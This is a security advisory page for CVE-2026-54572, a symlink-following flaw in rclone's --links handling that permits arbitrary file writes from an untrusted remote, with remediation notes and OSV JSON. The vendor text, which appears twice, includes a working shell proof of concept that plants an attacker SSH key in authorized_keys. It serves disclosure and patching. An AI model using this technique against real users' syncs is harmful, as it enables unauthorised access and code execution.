CVE-2026-54572: rclone Unvalidated Symlink Target Vulnerability

HIGH
Advisory Identifier: GHSA-cf44-9pgv-m4xc
CVSS 7.5
CWE-59
Published
Advisory Summary

CVE-2026-54572 is a HIGH (CVSS 7.5) unvalidated symlink target vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting rclone libraries in the Go ecosystem. The issue involves unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote. Remediation is available by upgrading affected packages to version 1.74.4.

CVE-2026-54572 at a Glance

CVE Identifier CVE-2026-54572
GHSA Identifier GHSA-cf44-9pgv-m4xc
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product rclone
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-54572

To remediate this vulnerability, upgrade all affected rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.74.4
Upgrade github.com/rclone/rclone to 1.74.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54572, inspect your project dependencies for rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.74.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary With `-l/--links`, rclone serializes symlinks as `<name>.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(<object body>, <dest path>)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `<name>.rclonelink` sorts before `<name>/...`, rclone creates the escaping symlink first and then writes a following object "inside" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution. ### Details `backend/local/local.go`, `Object.Update()`: ```go } else { out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data } ... if o.translatedLink { if err == nil { if _, err := os.Lstat(o.path); err == nil { os.Remove(o.path) } // Use the contents for the copied object to create a symlink err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed) } } ``` `symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination. ### PoC 1) Get the official stable binary: ``` curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d . # ./rclone -> v1.74.3 ``` 2) Create an attacker-controlled "remote" (two objects) and a victim layout: ``` mkdir -p evil/pwn dest victimhome/.ssh printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys ls -l victimhome/.ssh # empty (before) ``` 3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share): ``` cd evil && python3 -m http.server 38080 --bind 127.0.0.1 ``` 4) VICTIM ACTION — back up the untrusted remote preserving symlinks: ``` ./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v ``` 5) Observe — a file landed OUTSIDE `./dest`: ``` ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest) cat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned <-- written outside dest ``` `pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution. ### Impact An attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal). ### Remediation In `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.

CVE-2026-54572 Affected rclone Versions

1 component(s)
Fixed Versions:
1.74.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
< 1.74.4
1.74.4

References

Frequently Asked Questions

What is CVE-2026-54572?
CVE-2026-54572 is a security vulnerability in rclone involving Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which rclone versions are affected?
Affected versions include releases prior to 1.74.4 across affected packages: github.com/rclone/rclone.
What version fixes CVE-2026-54572?
Upgrading to 1.74.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.74.4. Upgrade your dependency to 1.74.4 or later.
What is the CVSS score of CVE-2026-54572?
CVE-2026-54572 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L.
What CWE is associated with CVE-2026-54572?
CVE-2026-54572 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check Go dependencies for CVE-2026-54572?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cf44-9pgv-m4xc",
  "modified" : "2026-08-05T20:15:01Z",
  "published" : "2026-08-05T20:15:01Z",
  "aliases" : [ "CVE-2026-54572" ],
  "summary" : "rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote",
  "details" : "### Summary\nWith `-l/--links`, rclone serializes symlinks as `<name>.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(<object body>, <dest path>)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `<name>.rclonelink` sorts before `<name>/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution.\n\n### Details\n`backend/local/local.go`, `Object.Update()`:\n```go\n} else {\n    out = nopWriterCloser{&symlinkData}          // body of <name>.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n    if err == nil {\n        if _, err := os.Lstat(o.path); err == nil {\n            os.Remove(o.path)\n        }\n        // Use the contents for the copied object to create a symlink\n        err = os.Symlink(symlinkData.String(), o.path)   // <-- target NEVER validated (abs / .. allowed)\n    }\n}\n```\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -> v1.74.3\n```\n2) Create an attacker-controlled \"remote\" (two objects) and a victim layout:\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf '%s' \"$PWD/victimhome/.ssh\" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest\nprintf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n' > evil/pwn/authorized_keys\nls -l victimhome/.ssh                                                 # empty (before)\n```\n3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):\n```\ncd evil && python3 -m http.server 38080 --bind 127.0.0.1\n```\n4) VICTIM ACTION — back up the untrusted remote preserving symlinks:\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n5) Observe — a file landed OUTSIDE `./dest`:\n```\nls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest\n```\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution.\n\n### Impact\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.74.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.74.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54572"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/releases/tag/v1.74.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-05T20:15:01Z",
    "nvd_published_at" : "2026-07-14T22:17:16Z"
  }
}